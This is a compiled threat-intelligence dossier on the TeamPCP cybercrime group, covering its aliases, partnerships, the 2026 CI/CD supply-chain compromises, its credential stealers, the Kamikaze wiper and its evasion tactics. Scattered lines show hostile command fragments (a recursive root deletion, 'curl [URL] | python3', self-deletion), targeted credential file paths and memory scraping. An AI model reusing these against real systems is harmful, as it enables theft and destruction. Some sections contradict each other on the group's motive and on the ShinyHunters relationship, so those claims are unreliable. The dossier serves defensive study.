TeamPCP ---still researching

Also tracked as: PCPcat, DeadCatx3, ShellForce, CipherForce, Altered Spider, Persy PCP, CipherForce, CanisterWorm, SHADOW-WATER-058, TA-NATALSTATUS,

IronErn, ShadowRay 2.0 

Country of origin for TeamPCP remains unknown,
and cybersecurity researchers have not attributed the group to any specific
nation-state with confidence. They have been active since late 2025, and are
known for executing massive, multi-ecosystem software supply chain attacks and
automated cloud-native compromises.

Timeline of Identities

• TA-NATALSTATUS
  (2020–2025): The earliest tracked identity, primarily focused on
  exploiting exposed Redis servers to deploy cryptocurrency
  miners. This activity was an evolution of campaigns noted by Trend
  Micro in 2020. 


• IronErn
  (Mid–Late 2025): Also known as ShadowRay 2.0, this
  identity was associated with hijacking artificial intelligence (AI)
  infrastructure (specifically Ray clusters) to create a self-propagating
  botnet. 


• TeamPCP
  (Late 2025–Present): The group's current public branding, under
  which they have expanded into supply chain attacks and open-source
  software compromise, while retaining the same underlying infrastructure
  and tools used in the TA-NATALSTATUS and IronErn eras. 

Attribution Challenges & False Flags

The group actively employs false flag operations to
obscure its true location and mislead investigators:

• Russian
  Markers: Malware samples contain Russian cultural references
  (e.g., "Koschei," "Baba Yaga") and code that
  exempts systems with Russian language settings (ru_* locale). 


• Contradictory
  Targets: Despite the Russian markers, the group deploys
  destructive wipers against Iranian infrastructure and
  includes logic targeting Israeli systems, creating
  conflicting geopolitical signals. 


• Analyst
  Consensus: Firms like Antiy Labs and Gurucul assess
  these markers as deliberate "noise" designed to fail traditional
  attribution mechanisms rather than authentic indicators of origin.

Operational Indicators

While the physical location is unconfirmed, some operational details offer limited geographic
clues:

• Infrastructure: Early
  command-and-control servers were hosted in Singapore, with additional infrastructure
  linked to the U.S. and UAE. 


• Affiliate
  Base: Their partner, Vect Ransomware Group, waives
  entry fees for affiliates from CIS countries (Russia and
  former Soviet states), suggesting a potential operational focus or
  membership base in that region, though this does not confirm TeamPCP's own
  origin. 


• Language: Communications are
  primarily in English, often with non-native phrasing, and
  occasional references to African politics (specifically Kenya) have been
  noted in their Telegram channels, though these are considered weak
  indicators. 

TeamPCP (also tracked as PCPcat, DeadCatx3, ShellForce,
and CipherForce) is a financially and geopolitically
motivated cybercriminal group that emerged in late 2025,
specializing in cloud-native infrastructure and software
supply chain attacks.  The group initially conducted
large-scale worm-driven campaigns exploiting exposed Docker APIs, Kubernetes clusters,
and Redis instances to build botnets for ransomware and cryptomining. 

In March 2026, TeamPCP
shifted tactics to compromise widely used CI/CD security
tools, including Trivy, Checkmarx KICS, and LiteLLM.  By
stealing GitHub Actions tokens and PyPI publishing
credentials, they deployed a "TeamPCP Cloud Stealer" payload
designed to harvest cloud provider credentials (AWS, GCP,
Azure), SSH keys, and Kubernetes tokens.  The group utilizes novel
infrastructure such as Internet Computer Protocol (ICP) blockchain
canisters for command-and-control and employs self-propagating worms
like CanisterWorm to infect additional packages across npm and PyPI. 

Key operational characteristics include:

• Hybrid
  Motivation: Primarily driven by financial gain through
  credential theft and access brokering, with secondary geopolitical objectives
  including destructive attacks on Iranian infrastructure. 


• Cascading
  Compromise: They leverage stolen credentials from one compromised
  tool to gain access to the next, creating a multi-ecosystem supply chain
  attack across GitHub, Docker Hub, npm,
  and PyPI. 


• Operational
  Security: Uses RSA-4096/AES-256-CBC encryption
  for exfiltration, typosquatted domains (e.g., aquasecurtiy[.]org),
  and YouTube kill-switches in backdoor payloads. 


• Partnerships:
  Functions as an access generation engine feeding into ransomware
  ecosystems, with formal partnerships noted with Vect Ransomware
  Group and collaborations with Lapsus$. 

TeamPCP operates as a primary initial access
broker, maintaining a complex web of partnerships to
monetize stolen credentials through ransomware deployment and data
extortion.  Their specific partners include:

Primary Ransomware & Extortion Partners

     Vect
Ransomware Group 

In late March 2026, TeamPCP announced a
formal operational partnership with Vect, a Russian-speaking
Ransomware-as-a-Service (RaaS) operation.  Under this
agreement, TeamPCP supplies the initial access gained through supply chain
compromises (specifically the Trivy, KICS, and LiteLLM attacks),
while Vect handles the encryption deployment and extortion.  Sophos
confirmed by July 2026 that Vect had successfully deployed ransomware using
credentials sourced directly from TeamPCP operations. 

     Lapsus$

 TeamPCP explicitly collaborates with the
notorious extortion group Lapsus$ to monetize stolen data.
Following the March 2026 supply chain campaigns, TeamPCP transferred
approximately 300 GB of compressed credentials to Lapsus$, who
utilized them to target multi-billion-dollar companies and sell access on the
dark web.  Mandiant and Wiz researchers confirmed this active
collaboration, noting that Lapsus$ leverages TeamPCP’s deep access to SaaS
environments for high-profile data leaks. 

Operational & Ecosystem Allies

xpl0itrs 

This group maintains a close technical partnership
with TeamPCP, engaging in joint operations such as the CanisterWorm deployment
and the Bitwarden CLI compromise in April
2026.  xpl0itrs functions as a secondary outlet for TeamPCP’s
initial access, sharing tooling and victim lists within a tightly integrated
supply chain-focused cybercrime ecosystem. 

BreachForums

               While
technically a marketplace, BreachForums serves as a critical force multiplier through
its formal alliance with Vect and TeamPCP. In
April 2026, the partnership facilitated the distribution of affiliate keys to
BreachForums' entire user base (approx. 300,000 members), effectively
industrializing the distribution of TeamPCP-sourced access for mass ransomware
campaigns. 

ShinyHunters / UNC6240 

TeamPCP brokers access to ShinyHunters (also
tracked as UNC6240), who utilize the stolen credentials for large-scale
repository cloning and data theft. Notable instances include the
cloning of over 300 private Cisco repositories containing AI
products and sensitive customer code. 

Internal Monetization Brands

TeamPCP also operates its own parallel monetization tracks
to ensure redundancy:

• CipherForce:
  TeamPCP’s proprietary ransomware brand, used for direct operations
  separate from the Vect partnership. 


• ShellForce:
  A persona used specifically for leaking and selling exfiltrated
  data. 

TeamPCP has established
a sophisticated ecosystem of partnerships designed to industrialize the
monetization of stolen credentials, moving beyond simple data theft to
coordinated ransomware deployment and large-scale extortion. These alliances function as a
"reverse kill chain," where access is secured via supply chain
compromises first, and targets are selected from the resulting credential
archive later. 

The Vect-BreachForums Industrial Alliance

The most significant partnership
is the formal triadbetween
 TeamPCP, Vect Ransomware Group, and BreachForums.
Announced in late March 2026 and operationalized on April 16, 2026,
this alliance created an unprecedented "mass-affiliate" model:

• Role
  Division: TeamPCP acts as the exclusive initial access
  broker, supplying credentials harvested from compromised CI/CD tools
  (Trivy, KICS, LiteLLM).  Vect provides the ransomware
  infrastructure (C++ based ChaCha20-Poly1305 encryption), while
  BreachForums supplies the human capital. 


• Scale
  of Mobilization: Unlike traditional RaaS models that recruit
  affiliates selectively, this partnership distributed Vect affiliate keys
  to all ~300,000 registered users of BreachForums
  simultaneously.  This effectively converted a massive forum user
  base into an instant ransomware deployment army.


• Operational
  Impact: By July 2026, Sophos confirmed active ransomware
  deployments where Vect operators selected victims directly from TeamPCP’s
  stolen credential archives. This model removes the need for affiliates to
  possess technical exploitation skills, as the "entry ticket"
  (valid cloud tokens) is pre-supplied by TeamPCP. 

Extortion and Data Monetization Partners

To maximize the value of
exfiltrated data (estimated at 300 GB of compressed
credentials), TeamPCP collaborates with specialized extortion groups:

Lapsus$ 

TeamPCP maintains an explicit
collaboration with Lapsus$ to handle high-profile extortion
campaigns. While TeamPCP focuses on the technical infiltration of SaaS
environments, Lapsus$ leverages its reputation for aggressive public shaming
and social engineering to pressure victims. Wiz researchers confirmed that
TeamPCP transfers validated credentials to Lapsus$, who then target
multi-billion-dollar companies for data leaks and ransom demands. 

ShinyHunters (UNC6240)

 A critical operational link
exists between TeamPCP and ShinyHunters. Following the March 2026 Trivy
compromise, credentials harvested by TeamPCP were utilized by ShinyHunters to
breach Cisco. This collaboration resulted in the cloning of over 300
private GitHub repositories, including source code for AI products and
tools used by US government agencies (FBI, DHS, NASA).  This
partnership highlights a "hand-off" model where TeamPCP provides the
foothold, and ShinyHunters executes the deep data exfiltration. 

*The relationship
between TeamPCP and ShinyHunters (also
tracked as UNC6240) is hostile and opportunistic, rather than a formal
partnership.  While they operate in the same ecosystem, their
interactions are defined by theft, deception, and conflicting public
narratives.

The "Scam" and Hostile Takeover

Contrary to early reports of
collaboration, TeamPCP leadership
has explicitly stated that ShinyHunters is not a partner.  In
a May 9, 2026 interview, the TeamPCP leader detailed a specific incident of
betrayal:

• The
  Infiltration: 

A member
of ShinyHunters infiltrated the private operator chat
of Vect (TeamPCP’s ransomware partner), demonstrating a failure
in TeamPCP’s vetting or access control mechanisms for their own criminal
ecosystem.

• The
  Theft: 

The ShinyHunters member agreed to
split profits on a bundle of stolen credentials, downloaded the data, and
then refused to pay. 

• The
  Smear: 

To cover the theft and discredit
TeamPCP, ShinyHunters released a "mix of real and fabricated chats"
portraying the interaction as a legitimate partnership or dispute, rather than
a scam. 

·       
Data Handover:

The thief was able to download a full
bundle of stolen credentials after agreeing to a profit-split, indicating that
TeamPCP lacks technical safeguards (such as staged data releases or escrow
mechanisms) to prevent partners or infiltrators from absconding with the entire
dataset.

·       
Reactive Counter-Measures

Once the theft was identified, TeamPCP
employed the following damage control tactics:

·       
Public Discrediting:

 In a May 9, 2026 interview
with Inside Darknet, the TeamPCP leader explicitly labeled the
interaction a "scam" and "shitty business practice," aiming
to destroy ShinyHunters' reputation within the cybercriminal underground. 

·       
Narrative Correction: 

They released "a mix of real and
fabricated chats" (mirroring ShinyHunters' own tactics) to prove the theft
occurred and to distance themselves from subsequent high-profile breaches (like
the CERT-EU attack) that ShinyHunters executed using the
stolen data. 

·       
Attribution Shift: 

TeamPCP leadership publicly clarified their
non-involvement in government targets ("We don't even target gov"),
attempting to shift the blame for the CERT-EU breach entirely onto ShinyHunters
to avoid law enforcement scrutiny. 

Strategic Implications

The incident highlights that TeamPCP’s security model is trust-based within
a hostile environment.  They have no technical method to revoke
access to credentials once they are downloaded by an affiliate or partner.
Their primary defense is the threat of reputational ruin and
the potential for retaliatory doxxing or law enforcement tipping, which serves
as the only deterrent against internal theft in the cybercriminal ecosystem.

Divergent Operational Goals

The two groups have
fundamentally different targeting doctrines, which led to friction over
specific breaches:

• Targeting
  Conflicts:

 TeamPCP
publicly claims to exclude governments and non-profits from their direct
operations. However, ShinyHunters used the stolen
TeamPCP-sourced credentials to breach the European Commission (CERT-EU),
stealing 340 GB of data from 42 EU departments.  TeamPCP
leaders subsequently clarified they did not perform this exfiltration and do
not target government entities, attributing the act solely to ShinyHunters.

• Cisco
  Breach: 

While TeamPCP
provided the initial access vector (via the compromised Trivy scanner), ShinyHunters independently
executed the deep intrusion into Cisco, cloning over 300 private
repositories (including AI and government-related code) and
launching their own extortion campaign with an April 3 deadline. 

The "Convergence" Dynamic

Despite the hostility, the groups
are functionally linked in a "convergence of cybercriminal
ecosystems":

• Access
  vs. Extortion: T

TeamPCP
acts as the initial access broker, compromising the supply
chain to harvest credentials.  ShinyHunters acts as
a predatory downstream actor, monitoring these compromises
to steal the harvested credentials for their own high-profile extortion
campaigns. 

• Blast
  Radius: 

This dynamic means that even without a formal
agreement, TeamPCP’s compromises directly enable ShinyHunters’ operations.
Security researchers note that this creates a complex threat landscape
where defenders must contend with multiple independent groups exploiting the
same initial breach.

Technical and Operational Allies

xpl0itrs This
group serves as TeamPCP’s primary technical co-conspirator. They jointly
developed and deployed CanisterWorm, the first self-propagating npm
worm utilizing Internet Computer Protocol (ICP) canisters for
command-and-control.  Their partnership extends to the Bitwarden
CLI compromise in April 2026.  xpl0itrs often acts as a
secondary outlet for selling access derived from TeamPCP’s initial breaches,
such as the alleged 569 GB breach of RapidFort claimed in July
2026. 

Internal Redundancy:

 CipherForce

To ensure operational resilience
and avoid reliance solely on external partners, TeamPCP operates its own
proprietary ransomware brand, CipherForce.  While the
Vect partnership handles mass distribution via BreachForums, CipherForce is
used for direct, controlled operations where TeamPCP retains full authority
over encryption and negotiation, allowing them to test new tactics without exposing
their primary affiliates. 

TeamPCP compromised a specific
set of high-value CI/CD and developer security tools
between March 19 and April 22, 2026, executing a cascading attack
where credentials stolen from one tool were used to compromise the next. 

Primary CI/CD & Security Tool Compromises

Trivy (Aqua Security)

• Compromise
  Date: March 19, 2026 (following an initial breach on Feb
  28). 


• Vector: TeamPCP
  exploited a pull_request_target vulnerability to steal a GitHub
  Actions PAT, then hijacked release tags (v0.69.4) to inject malware
  into GitHub Actions, binaries, and Docker
  Hub images. 


• Impact: As
  the initial pivot point, this compromise provided the GitHub
  Actions tokens and cloud credentials used to
  attack subsequent tools. 

Checkmarx KICS (Keeping Infrastructure as Code
Secure)

• Compromise
  Date: March 23, 2026. 


• Vector: Using
  credentials harvested from the Trivy compromise, the group poisoned KICS
  GitHub Actions (all 35 tags), OpenVSX extensions,
  and Docker images. 


• Impact: Allowed
  the theft of Infrastructure-as-Code secrets and further expanded access to
  enterprise cloud environments. 

LiteLLM (BerriAI)

• Compromise
  Date: March 24, 2026. 


• Vector: Compromised PyPI
  publishing credentials (stolen from CI/CD pipelines running the
  trojanized Trivy action) to publish malicious versions 1.82.7 and 1.82.8. 


• Impact: Targeted
  AI infrastructure, harvesting API keys for over 100 LLM providers (OpenAI,
  Anthropic, etc.) alongside cloud credentials. 

Telnyx Python SDK

• Compromise
  Date: March 27, 2026. 


• Vector: Similar
  to LiteLLM, malicious versions were published to PyPI using
  stolen publishing rights. 


• Impact: Compromised
  telecommunications API credentials and messaging workflows integrated into
  CI/CD pipelines. 

Secondary & Related Compromises

Bitwarden
CLI

• Compromise
  Date: April 22, 2026. 


• Vector: A
  malicious version (2026.4.0) was published to npm by
  exploiting a compromised GitHub Action in Bitwarden’s CI/CD pipeline
  (linked to the broader TeamPCP campaign). 


• Impact: Targeted
  developer workstations and pipelines to harvest SSH keys, crypto
  wallet data, and npm tokens, utilizing a self-propagating
  worm mechanism. 

TanStack
& Others

• The
  campaign also affected TanStack (via OIDC abuse in April
  2026) and over 45 npm packages (including @EmilGroup and @opengov)
  via a self-propagating worm (deploy.js) that autonomously published
  malicious patch versions using stolen tokens. 

The triad consisting
of TeamPCP, Vect Ransomware Group,
and BreachForums operates as an integrated, industrialized ransomware
ecosystem rather than three separate entities collaborating
ad-hoc.  Their relationship is defined by a strict division
of labor that inverts the traditional ransomware kill chain:

Operational Workflow: The "Reverse Kill
Chain"

1.       TeamPCP:
The Access Engine (Supply Chain Layer) 

TeamPCP functions exclusively as
the initial access broker.  Instead of selecting specific
victims first, they compromise high-volume software supply chain components
(e.g., Trivy, LiteLLM, KICS) to harvest a
massive archive of over 500,000 credentials from CI/CD
pipelines.  They do not deploy ransomware themselves in this triad;
their sole output is a validated inventory of compromised cloud tokens and API
keys. 

2.       Vect:
The Monetization Infrastructure (RaaS Layer) 

Vect provides
the weaponization and extortion capability. Unlike traditional RaaS models
where affiliates must find their own way into a network, Vect operators
simply search TeamPCP’s pre-existing credential archive to
select victims.  Vect supplies the C++ ransomware payload (using
ChaCha20-Poly1305 encryption), the TOR-based leak site, and the
negotiation infrastructure.  This allows affiliates to skip the
exploitation phase entirely and move straight to deployment. 

3.      
BreachForums: The Distribution & Operational
Layer

 BreachForums serves as
the force multiplier and operational platform. On April 16, 2026,
the triad operationalized a "mass-affiliate" model where all ~300,000
registered BreachForums users were automatically issued Vect affiliate
keys.  The forum provides:

• Escrow
  Services: A Monero-based multi-signature escrow system for
  handling ransom payments. 


• Affiliate
  Management: Tiered incentive structures (offering up to 88%
  profit share) and support for less technical operators. 


• Instant
  Mobilization: Converting a passive forum user base into an
  active ransomware deployment army without selective recruitment. 

Strategic Significance

This triad represents a shift
from targeted intrusion to industrialized exploitation.  By
decoupling access generation (TeamPCP) from victim selection and encryption
(Vect/BreachForums), the group creates a persistent threat where
credentials stolen in March 2026 can be weaponized months
later.  The model lowers the technical barrier to entry,
allowing any BreachForums member to launch a sophisticated ransomware attack
against a major enterprise simply by using a pre-stolen token provided by
TeamPCP. 

TeamPCP utilizes a
sophisticated payload known as the "TeamPCP Cloud Stealer" (and
variants like SANDCLOCK and CanisterWorm) to
harvest a comprehensive array of credentials from CI/CD runners, developer
workstations, and cloud environments.  The group targets secrets that facilitate
lateral movement across the entire software supply chain. 

Cloud Provider & Infrastructure Credentials

The primary objective is to
gain control over cloud infrastructure. The stealer specifically
targets:

• Cloud
  Access Keys: AWS Access Keys and Secret Keys
  (~/.aws/credentials), GCP Service Account JSON keys, and Azure Service
  Principals/Environment Variables. 


• Kubernetes
  Secrets: ServiceAccount tokens, kubeconfig files
  (~/.kube/config), and cluster admin credentials. 


• Container
  Registry Tokens: Docker Hub, GitHub Container Registry
  (GHCR), and Amazon ECR authentication tokens. 


• Infrastructure-as-Code
  (IaC) State: Terraform state files containing embedded
  secrets and provider configurations.

CI/CD & Version Control Tokens

To propagate the attack and
maintain persistence within pipelines, TeamPCP extracts:

• GitHub
  Personal Access Tokens (PATs): Specifically those
  with repo, workflow, and write:packages scopes, often
  harvested by dumping the memory of
  the Runner.Worker process. 


• OIDC
  Tokens: OpenID Connect tokens extracted from runner memory to
  impersonate identities in cloud environments.


• Package
  Manager Tokens: PyPI API tokens (used to
  poison packages like LiteLLM), npm publish tokens (used
  for the CanisterWorm propagation), and OpenVSX publisher
  tokens. 


• GitLab
  CI/CD Variables: Protected variables and deploy keys stored
  in runner environments.

Application & AI API Keys

Leveraging the compromise of AI-focused tools
like LiteLLM and Xinference, the group harvests:

• LLM
  Provider Keys: API keys for OpenAI, Anthropic, Azure
  AI, Mistral, and Google Vertex AI.


• Communication
  Webhooks: Slack incoming webhook URLs and Discord bot
  tokens. 


• Database Credentials: Connection
  strings for PostgreSQL, MySQL, MongoDB, and Redis found
  in .env files and configuration directories. 

Local Developer & Cryptocurrency Secrets

On developer workstations and build agents, the malware scans for:

• SSH
  Keys: Private keys (id_rsa, id_ed25519) for
  server access and Git operations. 


• Cryptocurrency
  Wallets: Seed phrases, private keys, and credential files for
  wallets like MetaMask, Exodus, and Electrum.


• VPN & TLS Certificates: OpenVPN
  configurations, private TLS keys, and certificate authorities.

All
harvested data is typically compressed into an encrypted archive
(e.g., tpcp.tar.gz or love.tar.gz) using AES-256-CBC with RSA-4096 wrapped
keys before exfiltration to typosquatted domains
(e.g., scan.aquasecurtiy[.]org) or fallback GitHub repositories
(e.g., tpcp-docs). 

TeamPCP deployed a
specific destructive wiper payload named Kamikaze (also
referred to as the Iran-focused Kubernetes wiper) against Iranian
infrastructure.  This payload was integrated into their
broader CanisterWorm malware family and activated
in late March 2026. 

Wiper Mechanics and Targeting

The Kamikaze wiper
operates via a "decision tree" that distinguishes between
Iranian and non-Iranian systems based on locale and timezone settings:

• Target
  Identification: The malware scans for specific indicators,
  primarily the Asia/Tehran timezone or the fa_IR (Farsi)
  locale setting. 


• Kubernetes
  Clusters: If an Iranian system
  is detected within a Kubernetes environment, the wiper deploys a
  privileged DaemonSet named host-provisioner-iran into
  the kube-system namespace.  This DaemonSet schedules a destructive
  container (often named kamikaze) across every node in
  the cluster, including the control plane.  The
  container mounts the host's root filesystem and executes a recursive
  deletion command (rm -rf / --no-preserve-root), effectively
  bricking the entire cluster and forcing a reboot.


• Standalone
  Hosts: On non-Kubernetes Iranian systems, the payload executes the same
  recursive deletion logic directly on the host machine, rendering the
  operating system unusable. 


• Non-Iranian
  Systems: If the target does not match Iranian indicators, the malware
  bypasses the wiper routine and instead installs the standard CanisterWorm backdoor
  for persistence and credential theft. 

Operational Context

The deployment of Kamikaze marked
a significant escalation for TeamPCP, transitioning the group from
purely financially motivated cybercrime to geopolitically motivated
destruction.  Researchers assess this move as potentially
opportunistic—a method for the group to gain notoriety and signal
capability—rather than evidence of direct state sponsorship, though the
precision of the targeting suggests a deliberate intent to disrupt Iranian
digital infrastructure amidst broader regional tensions.

TeamPCP consistently targets
trusted software distribution channels rather than end users directly.
Operations focus on compromising packages, CI/CD infrastructure, developer
workflows, and cloud environments where a single successful intrusion can
cascade into thousands of downstream organizations.

Observed operational patterns include:

• Software
  supply chain compromise


• Malicious
  package publishing on npm and PyPI


• Compromise
  of GitHub Actions workflows


• Credential
  theft from cloud environments


• SSH
  key and API token harvesting


• Kubernetes
  secret extraction


• Source
  code theft


• Cloud
  infrastructure compromise


• Extortion
  following data theft


• Ransomware
  access brokerage

Malware ecosystem

Security researchers and the FBI have attributed multiple
malware families to TeamPCP campaigns.

• CanisterWorm harvests
  cloud credentials, API tokens, SSH keys, and authentication material from
  AWS, Azure, and Google Cloud Platform environments.


• SANDCLOCK extracts
  AWS credentials, Kubernetes ServiceAccount tokens, environment variables,
  and cryptocurrency wallet data.


• Mini
  Shai-Hulud is a self-propagating software supply chain worm
  capable of spreading across npm and PyPI ecosystems.


• Miasma expands
  on Mini Shai-Hulud techniques by poisoning development environments while
  harvesting credentials.

Cloud and AI targeting

Much of TeamPCP’s activity has centered around AI companies,
cloud platforms, developer infrastructure, and enterprise software vendors.

Public reporting and alleged victim
claims have included organizations such as OpenAI, Mistral AI, Lightning AI,
Mercor, GitHub, Cisco, and the European Commission. Rather than deploying
ransomware immediately, the group frequently monetizes access by stealing
repositories, cloud credentials, proprietary source code, and development
secrets.

Shift toward extortion

Recent activity indicates TeamPCP
has expanded beyond software supply chain compromise into direct extortion.
According to the FBI, the group has published victim names on a public leak
site, threatened organizations with data disclosure, and collaborated with
other cybercriminal groups to monetize stolen access.

The advisory also warns that
credentials stolen during TeamPCP intrusions should be treated as a long-term
risk because affiliated threat actors may continue exploiting them well after
the initial compromise.

Current threat assessment

TeamPCP remains one of the most
significant supply chain threats currently facing organizations that rely on
modern software development pipelines. By compromising trusted developer tools
rather than individual victims, the group can rapidly affect thousands of
downstream environments through a single malicious update.

**********Added August 16,2026******

TeamPCP (also tracked
as UNC6780 by Google) is a financially motivated cybercrime
group, not a state-sponsored Advanced Persistent Threat
(APT).  Researchers classify the organization as a loose-knit
collective of teenagers and young adults driven by economic
gain through ransomware, extortion, and cryptomining rather than geopolitical
objectives. 

The group first emerged in late
2025 and is primarily known for executing massive cloud-native and supply
chain attacks across five software
ecosystems: GitHub
Actions, Docker Hub, npm, PyPI, and OpenVSX.  Their
notable campaigns include compromising trusted security tools
like Trivy and KICS to harvest credentials, and they have
explicitly stated they have moved away from encryption-based extortion in favor
of faster, less destructive data theft and access brokering. 

Operational
Profile and Evolution

TeamPCP (tracked as UNC6780)
operates as a financially motivated cybercriminal collective rather
than a state-sponsored entity.  Emerging in late 2025, the group
evolved from cryptomining operations into a sophisticated supply chain
attack specialist.  Their primary business model involves
compromising trusted software development tools to harvest credentials, which
are then sold, used for lateral movement, or leveraged in partnership with
ransomware groups like Vect. 

The group is characterized by its cloud-native
approach, exploiting misconfigured Docker APIs, Kubernetes
clusters, and CI/CD pipelines.  Unlike traditional APTs that focus on
long-term espionage, TeamPCP prioritizes high-velocity, high-volume
data theft, having exfiltrated over 300 GB of data and
harvested approximately 500,000 credential sets across more
than 1,000 SaaS environments by mid-2026. 

Major
Attack Campaigns

The
Cascading Supply Chain Offensive (March 2026)

The group's most significant operation
occurred between March 19 and March 27, 2026, executing
a "cascading" attack across five major ecosystems: GitHub
Actions, Docker Hub, npm, PyPI, and OpenVSX. 

• Trivy
  Compromise: Exploiting
  a pull_request_target vulnerability (CVE-2026-33634), the group
  injected the SANDCLOCK credential stealer into
  the Trivy vulnerability scanner.  This compromised
  over 75 version tags, affecting an estimated 10,000+ CI/CD pipeline runs.


• KICS
  and LiteLLM: Using credentials stolen from Trivy, they
  subsequently compromised Checkmarx KICS and the AI
  gateway LiteLLM. The LiteLLM breach alone impacted over 2,400
  organizations, with stolen API keys remaining active months later. 


• npm
  Worm (CanisterWorm): The group deployed a self-propagating
  worm across 47+ npm packages, utilizing decentralized ICP
  Canister nodes for command-and-control (C2) to resist
  takedowns. 

The
GitHub Internal Breach (May 2026)

In a landmark escalation, TeamPCP
compromised GitHub's internal infrastructure on May 20, 2026.  By
poisoning a Visual Studio Code extension available on the
official marketplace, they gained access to an employee's
workstation.  This allowed them to exfiltrate source code from
approximately 3,800 internal private repositories, including
proprietary security tools.  The group subsequently attempted to sell
this data on underground forums for at least $50,000. 

Tactics,
Techniques, and Procedures (TTPs)

TeamPCP distinguishes itself
through operational integration rather than novel exploit
development.  They heavily utilize modified open-source tools and
well-known vulnerabilities to build a modular criminal platform.

• Credential
  Harvesting: Their payloads specifically target cloud provider
  metadata (AWS IMDS, Azure MSI), CI/CD runner tokens, and AI API
  keys. 


• Decentralized
  C2: They were the first observed group to use Internet
  Computer Protocol (ICP) Canisters for resilient C2
  infrastructure, making it difficult to disrupt their communications. 


• Monetization
  Strategy: While initially focused on cryptomining (XMRig) and
  proxy services, the group has shifted toward access brokering and ransomware
  facilitation.  In late March 2026, they formalized a
  partnership with the ransomware affiliate Vect, trading their stolen
  access for ransomware deployment capabilities. 

Current
Status and Impact

As of August 2026, TeamPCP remains highly active. Recent
reports indicate that credentials stolen during their March and April campaigns
are still being weaponized. The group has demonstrated a willingness to
deploy destructive wipers in specific geographic regions,
layering data destruction over theft to maximize pressure on
victims.  Their success has prompted major platforms like npm and
GitHub to implement stricter security measures, including mandatory 2FA for package
publishing and enhanced monitoring of CI/CD workflows. 

TeamPCP (UNC6780) did not
develop unique cryptomining software from scratch; instead, they deployed
heavily modified versions of the open-source XMRig miner.
Their innovation lay in the loader mechanisms and evasion
techniques designed to sustain mining operations on compromised cloud
infrastructure. 

Custom
Loaders and Deployment

The group utilized custom shell scripts and loaders to
deploy XMRig with specific configurations to evade detection:

• Memory-Resident
  Execution: In campaigns identified in mid-2026, TeamPCP
  employed loaders that deleted the miner binary from the disk immediately
  after execution, forcing the malware to run purely in memory to
  bypass file-based antivirus scans. 


• Process
  Masquerading: Their deployment scripts renamed the XMRig
  process to mimic legitimate system daemons (e.g., ssh, systemd)
  and utilized LD_PRELOAD hooks to hide watchdog processes
  that ensured the miner remained active. 


• Layered
  Obfuscation: The group used layered XOR encryption (with
  keys such as I3F0 and CLIENT) to obfuscate the miner's
  configuration files and command-line arguments, hiding the mining pool
  addresses and wallet IDs from static analysis. 

Evasion
and Persistence Tactics

To maximize mining revenue and
longevity, TeamPCP integrated several advanced operational security measures
into their cryptomining modules:

• Non-Root
  Impersonation: Unlike typical cryptojacking operations that
  seek root access, TeamPCP's later campaigns deliberately operated
  under low-privileged user accounts.  They
  abused Linux Pluggable Authentication Modules (PAM) to
  switch identities without passwords, creating a "forensic
  smokescreen" that scattered activity across unmonitored
  accounts. 


• Resource
  Throttling: Their configurations often limited CPU usage
  (e.g., to 60%) and paused mining when specific high-priority processes
  were detected to avoid triggering performance-based alerts. 


• Competitor
  Elimination: The deployment scripts included logic to
  identify and terminate competing cryptominers and delete rival crontab
  entries, ensuring TeamPCP maintained exclusive control over the host's
  resources. 

TeamPCP evades cloud provider
detection by blending malicious activity with legitimate development traffic
and exploiting the inherent trust placed in CI/CD pipelines. Their evasion
strategy relies on living-off-the-land techniques, memory-only
execution, and decentralized infrastructure. 

Traffic
Mimicry and Legitimate Protocol Abuse

The group’s primary evasion method
involves disguising data exfiltration as normal network traffic.

• Telemetry
  Masquerading: Their custom credential
  stealer, SANDCLOCK, exfiltrates data via HTTPS POST requests to
  domains that mimic legitimate monitoring services
  (e.g., models.litellm.cloud), allowing traffic to bypass egress
  filters that whitelist known SaaS domains. 


• API
  Tunneling: Stolen GitHub tokens are used to exfiltrate data
  by creating commits or release artifacts directly on the victim’s own
  repositories. Since this traffic is destined for api.github.com, it
  appears as legitimate developer activity to corporate firewalls and cloud
  logging tools. 


• Steganography: In
  some campaigns, the group has hidden encrypted second-stage payloads
  within valid audio (.wav) files, enabling them to bypass network filters
  that inspect file types but not deep content. 

Memory-Only Execution and
Forensic Evasion

To avoid leaving
artifacts on disk, TeamPCP utilizes aggressive memory-resident techniques
within cloud runners and containers.

• Process
  Memory Scraping: Instead of searching for secrets in
  environment variables (which are often logged or masked), their payloads
  iterate through /proc/[pid]/mem to extract plaintext tokens
  (like GITHUB_TOKEN and AWS keys) directly from the memory of
  running processes. This bypasses log masking features in GitHub Actions
  and other CI/CD platforms. 


• In-Memory
  Payloads: The group frequently pipes scripts directly into
  interpreters (e.g., curl [URL] | python3) without writing the script
  to the disk. Loaders often delete their own binaries immediately after
  execution, forcing the malware to run purely in memory. 


• Self-Deletion: Custom
  loaders include commands to delete temporary files and their own scripts
  (rm "$0") immediately after deploying the next stage,
  significantly reducing the forensic footprint on ephemeral cloud
  instances. 

Decentralized and Resilient Command & Control (C2)

     TeamPCP avoids traditional C2
infrastructure that can be easily sinkholed or blocked.

• Blockchain-Based
  C2: They were the first observed group to use Internet
  Computer Protocol (ICP) Canisters for command and
  control.  Because ICP canisters are decentralized, immutable
  smart contracts, there is no central server to seize and no DNS record to
  sinkhole, forcing defenders to rely on complex behavioral analysis rather
  than IP blocking.


• Typosquatting
  and Cloudflare Tunnels: The group complements their
  blockchain C2 with relays hosted on Cloudflare Tunnels and typosquatted
  domains (e.g., checkmarx.zone), which inherit the reputation and
  trust of the legitimate services they mimic. 

Exploiting Implicit Trust

The group’s most
effective evasion tactic is leveraging the implicit trust of
the software supply chain. 

• Signed
  Malware: By compromising the CI/CD pipelines of trusted
  projects (like Trivy and KICS), TeamPCP ensures their
  malicious packages are signed with legitimate developer keys. Security
  tools that verify signatures (like SLSA provenance checks) inadvertently
  validate the malware as authentic. 


• Dormant
  Triggers: Some backdoors
  utilize workflow_dispatch triggers, allowing the malicious code
  to sit dormant in a repository until manually activated by the attacker,
  bypassing static analysis scans that occur during the initial pull
  request. 

 Research from a different site

TeamPCP           https://ramimac.me/teampcp/#teampcp

aka Altered Spider (CrowdStrike), SHADOW-WATER-058, UNC6780 (GTIG), PCPcat, Persy_PCP, ShellForce, CipherForce, DeadCatx3

Hybrid threat actor functioning as
botnet, access broker, data-leak crew, and cloud exploitation group. Emerged
late 2025. Brokers access to LAPSUS$, UNC6240/ShinyHunters,
and Vect Ransomware. Partnerships with xpl0itrs and BreachForums
ecosystem.

External
Analysis

• Flare.io — Dec 2025 worm campaign targeting cloud
